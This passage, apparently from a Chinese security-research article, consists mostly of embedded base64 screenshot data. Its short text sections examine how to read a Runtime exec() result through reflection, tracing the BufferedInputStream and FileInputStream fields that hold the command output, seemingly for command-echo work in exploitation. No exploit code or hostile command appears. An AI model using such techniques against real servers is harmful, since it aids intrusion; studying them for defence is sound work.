zAqKorAoJZs2bKl0ulKUDVz1uxGrlnDnr9NJTk5hYhhwxo1yKyNugRRoaGh/PnHQSZPnlzr9SUnp7By1UpWfvgBoaGhtV7+nygiYigTJ4xn/YYNtV42OTmFhIQETCYT8fHxDVC7q9PVfl79E9Qq8M7O0ZOTo6dloB92jTT8n52dHS0D/cjJ0ZOdo2+UdQohrg6+vj5XfcANZUHWpk3fELdvL0OGDKkwPTk5hRkz/o95c+cyb+6cJqih+KeLj4+nTZs2EnSXM2LEfSQkJNQ6kFT25733DidmR0wD1U78G1kdeBcaDKRlZBLg79NoQbfCzs6OAH8f0jIyKTQYGnXdcPkxrZJ+UtOjJ6UHt3y6SmVpC+V7e5VHka/Pn68uHxUVZVGH8o/O6rJM+Tqab5Oy3MqVqwgLG0BY2ACOHTtu8TgwKiqqQlqO+TqU3j3z+lQmLi6OW27tx5YtWxg9ZkyFesbHx6vlVLbflVQEa45LZfVW6qXsj5mzZrNq1eoKdc7Lz7PYX+V758unK5lPL398qtoX5ttivh/MH8Waz2NeTlVtbkpkpMV8ynExr5/5PFWVA5W3i+TkFIt9Wl+PuadERlZ6LGo6F6dERlZ4YmH+FENZfsPGjVYfz7CwAWRmZlZb34iIocTG7iAwMLDS6UqPc0TEUKu2v77P6fKP85X0AOVRfE3nT/neW6U8831tPk/581+ZLy4ujv79wyq0EfM2WN25ZL6uTp07s2NHLAMH3Vbp9as21wVrjnf5baquN3tKZCSjx4xhy5YtBAa1rNAmv/v++2rPMWWby29LdU/jYnbEED4gXP13dctWd55Xtq3WpIGYX6sruw5Yc1zNmV/rzOevLF1jSmSkxTaYzxMUFEibNm3Ys2dPjdtgTtmfffv25UD8gUrPtequyUo9zPfJn38eqlUdypdVm+2u6nunuvOjuvOqNm2ipnZb1bFV6qB8z5gvX77Nlm8/dWmzTcXqwDsj8wJ+vt4Nnl5SFWcnJ/x8vcnIvNCo642Li2Pw3XczdepUNR1l+PB7GDNmTJUX89kvv4yvr486/8Dw8Ernq8qWLVtwdXFRU19mzprN4LvvZsGCN9HrcggPH8DSZVEWF8raLnPs2DEGhoerdezeozuLFi+yqMfatWtZu3YtsbE7CAjwt5g2efJkddmU5CSGDBnCxAnjCQ0NJS4ujunTZ7Dyww/Q63L46+hRNm36ptILbWhoKD/v3sWQIUNYt3Ytf/5xUO2x+T0+ng0bN/Lz7l2kJCfhHxBgUUflZDY/LtNnzKj2y3Dvvjg1jUipV1RUFFqtlg3r1zFv7hwmTpyAXpdj8bh3/vw3iJxSts3z5s5hyZIlFherJUuW8NfRo+h1OWz/6UcWL15scaE2Pz6VPUZOTk7Bx+dym5k4YXyFYzxz1mzCB4Srx3jV6jXqOqpqc+EDwtm7L04tJz09g8TERBITE4CyL5CMjEyCg9ug0+l4/Ikn6dM7VC3H19eH2S+/XGW7iI+PZ9Omb9RtX7p0SaX7vraWLV1a4VjU5VysSk3Hc+asWWz/6Uf0uhx1extbQ5zT5mo6v8yFhISQl5fLsWPHANDp9KSlppKRkamuPzExQX1C8eefhyzO/4MHDhIdvZmOHTsSEBhoEQQpj/T79u1LXFwcixcvVvf99p9+xLWS4WkjIoby19GjDBgQxvaffiQ2dgdBQYF1aiPWHO/o6M1MevQxdZuUc+PxJ56s9HqzbOlSi7RF8xSfLVu2sG/fPnXfpKWmsmbNmgpl6HQ6ps+YwfDh96jX2Ru63FDpNij70M/Pt8ZlazrPa3P9Vpi3pbJzai6THn1MvT5Zc4003+5RD40GLl/bt//0IzNnzVLbkKurm5r+oVzD0lJT0enKnoqnp2fg6uqGVls2MENw69YknjlTZf3Li4uLIyEhgZCQkErbrKK6a3JcXByTHn2MeXPnotfl8PPuXWyPiUGXU7f87bpsd/nvnZrOj+rOK2vbRE1tr7pjq/g9Pp7DRw6r02NidhAY1JJRI0dWes2uS5ttSlYF3lk5OmxsbJp8bG1Pdy02NjZk1bHh1sX6DRsIDx9g0VM1fvx4/AMCqs37Cm7dWv3/SZMm1upx+ZAhQxg/fjwAYWH9LYJagIdGjSIvL1c92eqyTGhoKJMmTVSXDx8QbvElCjB8+D0EBVXeg2dO+dJQ1r9+wwbuvXe4uu6goECGD7+n1o/rgoODiZwyGa1Wi1arZdTIkRw8cJDk5BT1wjjt+Wnq/CNG3GcRHJiLi4vjQPwBtTylXlOnTrUITKtivi9HjLgPKOvh0el0bNi4kalTp6r7KjQ0lB4hPSwu1D1DQtTlKhMUFMiLL7yg/rtv374VjvHEiRPUdhgW1p8uXbqQnp5xeX9V0ub8/HxJTUlR90nMjhgmTpygbvOxY8fIy8slJCSE2NidwOXjCGXtJiEhwSJoKd8u/AMC1Av9wPDwBnvUXddzsTLlj6fWXUtqaop6PM2nK+2ksTXEOW2usvOrqvm1Wg2urm5qm46Pj8c/IEA933Q6HXv3xak9rpMmTbTYf917dCcxMQGtVkuf3qEW51x8fDyurm507NgRAHcPdwICLp9Ltem4qG0bseZ4VzYPwLTnp1V5valOz5AQ9bqlXBuruwYFB7cBQKvVWhzf8lxd3dT9Vt2yNZ3ndbl+m7cluHx92rNnj9XXSEVs7E7SUlMtru2hoaFMnDCemB0xaLVafH191Poo+1/rrlWPccyOGPr0DlXrExzcptpzobw9e/bQpk0bgoICK22ziuquyeXbolarLdtHdYyj6rLd5b936noNrVubqLztVXdsFebnSGhoKOHhAyz2tfk1u671a0pWBd4XL2Xh7dW8oetiFW+v5lxs4FFOFGpvoFlAA5dPAKXXsLzwAeHMnDW7Xt+GVhpxfS5j/uhv9JgxdVpnXFwcX3+9Sb3
|
|||
|
|
<h2 id=toc-4>探究如何在尽量不引入新类的情况下完成转换?</h2>
|
|||
|
|
<p>大前提是可以用反射的,那就沿着这条路走。首先<code>exec.getInputStream()</code>的返回值是InputStream的子类BufferedInputStream</p>
|
|||
|
|
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160741-5e57127e-135b-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABhcAAAIyCAYAAADIYZtPAAD3Y0lEQVR4nOzde3hU1b0//vcabpIEFEgQAkl2LpgJVLlDSzgnExDlNEBs+20JnqoECsq3rQnnnOcHEvECBOU833NItC0I5VLbI+FcWgmkh4rI5FQ8BVFBi0mAkEnCRSGAXBIEYdbvj73nfsnMZG5J3q/n8ZHMzNpr7dl79uxZn7XWR0zNyZUIg7brVzFcSQtHVdTFXL50KdJNICIiIiIiIiIiIiI7ukg3gIiIiIiIiIiIiIiIOhcGF4iIiIiIiIiIiIiIyC8MLhARERERERERERERkV8YXCAiIiIiIiIiIiIiIr8wuEBERERERERERERERH5hcIGIiIiIiIiIiIiIiPzSpYILPQffQd/RNwER6ZYQEREREREREREREXVdfgcXzHIU5pb8AA9K6fj4t36AF57Owf1Ojwddj564m5CMb9LH4faobNwelY1v0sfhbkIyRK8eiJ3wNe6bfR097r0b2nYQEREREREREREREXVTPYO2pQstuBgfj8EAvgzaRu0IgTvDMnFneCZkz16uzw9Ng673UAB70TPhDu577BraPuyLmzX3ACGOdxARERERERERERERdSc+BxfMchTmPT8HeqGuOaRfWYLvO73mwvu/xmci+GsSyZ69cFv/HZjvG+z9hT1suyN6ArHfuYneKd/g+p9jYb4R/hWgRjy6GI/e9wkqKg6jJQTvCwBIOQjfKfgBJiC09RARERERERERERERWfgcXNCJ49hZelwLMujx+Zr/DEkgwYUQvgUWPOiVeAf9p7Xiq8p+bp+Pn/RDzBs/EPLyx14750c8uhgz0wRO7duI/z7V/n5LOQiD7guoyZ1enz73QNezB262trp9vm9sHMx37+DW11+HuWVEREREREREREREFAx+L4tkCTIgTCPk7wzLDDiwAAncPH4P2o7c4/1lly/j8gAFGfGH0XLJzfODJmJi6hVcujzA56qFuIS/7NyEv6h/+NduP4SrHn/06NkT/QcMhIBAW+sNh+diYuPQf8BAXLtyOUKtIyIiIiIiIiIiIqKOCl7OhVDo0RN3hme6fermmdO4ffEczG030KP/AMQomUBf2/N3bt+LK2ezIY58CNy9472eAV/hSkMqJkzIwF/+VO/ydEK6goENX6E+1ffgQnemBhQE+g8YaPe3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
|
|||
|
|
<p>可以看到对于<code>exec.getInputStream()</code>获取到的BufferedInputStream对象,有一个空的byte[8192]的buffer,还有一个FileInputStream,执行结果应该就在其中</p>
|
|||
|
|
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160749-62e95022-135b-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>看一下BufferedInputStream类自带统计长度的available()方法是如何实现的,调用了<code>getInIfOpen().available()</code></p>
|
|||
|
|
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160756-670e6ff2-135b-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>可知前面猜想是正确的:BufferedInputStream的属性in(定义于父类FilterInputStram)以FileInputStream形式存储了执行结果</p>
|
|||
|
|
<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160805-6c60eab6-135b-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA88AAAF/CAYAAAB33vufAAC7KElEQVR4nOzdeXgUVb4//vdpNoWwhQQEgXQgSwdEUFSYBCeNCDomEJdxQO9cITAw8tx7TZhNFHdZ9M5C4nx/D46Mgs7cEa4zIwnEURihMwIXXEGELAToALIlBEhCVJY+vz+qq9fq7upOd7qTvF/Pw/OQ7jpVp05VddWnziYmZU+WICIiIiIiIiKfuibG94t2HoiIiIiIiIhiWte6hvPRzgMRERERERFRTDNEOwNEREREREREsY7BMxEREREREVEADJ6JiIiIiIiIAmDwTERERERERBQAg2ciIiIiIiKiABg8ExEREREREQXA4JmIiIiIiIgogK7RzkAsGTx0OADg22+/wbn6uijnpmMZPHR4uy7XWMp/2M7Trt0gEocC/a+DuLYnAEB+0wKcOwVZdxy4cjkc2SUKu3Bcj90NXTCiTz9c36svenfrDgBounwJX1+8gMO